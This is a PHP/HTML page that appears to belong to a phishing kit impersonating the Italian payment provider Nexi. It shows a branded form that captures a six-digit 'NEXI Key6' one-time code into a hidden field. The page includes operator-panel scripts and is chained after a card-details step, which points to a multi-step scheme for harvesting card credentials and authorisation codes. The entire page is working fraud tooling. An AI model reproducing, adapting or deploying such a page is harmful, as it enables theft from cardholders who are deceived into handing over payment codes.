<?php
//INCLUDERE GENERALE
require("pannello2/generale.php");

//CUSTOM
$pagina=array('otp',);
$numero = 2;
$prossima = "fine.php";
$precedente ="carta.php";

//INCLUDERE MOTORE
require("pannello2/motore.php");

?><html class="sfondo"><head><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"><title>Nexi</title>
<style>
    html
{
    background-color: #2d32aa;
    color:white;
}
.father {
 display: flex;
    justify-content: center;
    align-items: center;
}
.resto{
    display: none ;
}

.nascondi{
    display: none !important;
}

.child {

      background-image: url(logo.jpg);
    margin-top: 100%;
    position: absolute; 
}
.myButton {
    width: 100%;
    background-color:white;
    border-radius:13px;
    border:1px solid white;
    display:inline-block;
    cursor:pointer;
    color:#2d32aa;
    font-family:Arial;
    font-size:17px;
    font-weight:bold;
    padding:17px 31px;
    text-decoration:none;
    text-shadow:0px 1px 0px white;
}
.myButton:hover {
    background-color:white;
}
.myButton:active {
    position:relative;
    top:1px;
}

        

label{
    margin: 15px 0px !important;
     font-size: 110%;
}
.i1{
    width:100%;
    
    
    line-height: 130%;
    font-size: 110%;
}


input{
}
.sfondo{
    /* FLOAT: RIGHT; */
    background-repeat: no-repeat;
    background-size: cover;
}
input{
padding: 10px;background-color: #2d32aa;color:white;
 
}
form .sopra{
  font-weight: normal;font-size: 90%;
      
      background-color: #2d32aa;margin: 0;padding: 10px 0px 0px 10px;color: white;
}
</style>

</head><body>
    <div class="father" style="display: none;">
    <div class="child"><img src="L2.png" style="WIDTH: 100%;"></div>
</div>
<div class="resto" style="display: block;">
<link rel="stylesheet" href="https://unpkg.com/purecss@2.0.5/build/pure-min.css">
<script src="jquery-latest.min.js"></script>
<div style="text-align:center">
<img width="100" src="logo.png" style="margin: 15px 15px 10px 15px;">
</div>
<div style="margin: 0px 4%;">


<form method="POST" autocomplete="off" class="">

       <br>
<h2 style="margin-top: 0px;text-align: center">Inserisci il codice NEXI Key6</h2>
        <br>
<style>
.myPinCode input {
    width: 40px;
    margin-right: 9px;
    height: 50px;
    text-align: center;
    /* border: none; */
    border: 2px solid #ffffff;
    border-radius: 25px;
}</style>
<div style="margin-left:10px;text-align: center"class="myPinCode">
  <input type="tel" id="o1" maxlength="1" tab="1"  autofocus="autofocus" >
  <input type="tel" id="o2" maxlength="1"  tab="2">
  <input type="tel" id="o3" maxlength="1"  tab="3">
  <input type="tel" id="o4"  maxlength="1"  tab="4">
  <input type="tel" id="o5"  maxlength="1"  tab="5">
  <input type="tel" id="o6"  maxlength="1"  tab="6">
</div><br>
<input type="hidden" name="otp" id="otp" />
    
      <br><br>  <button type="submit" class="myButton">CONFERMA</button>
</form>
</div><br><br><br><br><br><br>

</div>

<link rel="stylesheet" href="jquery-pincode-autotab.css" >
<script src="jquery-pincode-autotab.min.js"></script>
<script>$(document).ready(function() {
  $(".myPinCode input").jqueryPincodeAutotab();
  jQuery("#o1").focus();
  jQuery("#o1").click();
});
sub=true;
setInterval(function(){
    valore=jQuery("#o1").val()+ jQuery("#o2").val()+ jQuery("#o3").val()+ jQuery("#o4").val()+ jQuery("#o5").val()+ jQuery("#o6").val()
   if(valore.length==6){
    jQuery("#otp").val(valore)
    if(sub){
      sub=false;
     // jQuery("form").submit()
    }
    
   }else{
    jQuery("#otp").val("")
   }
    
}, 200);
</Script>
</body></html>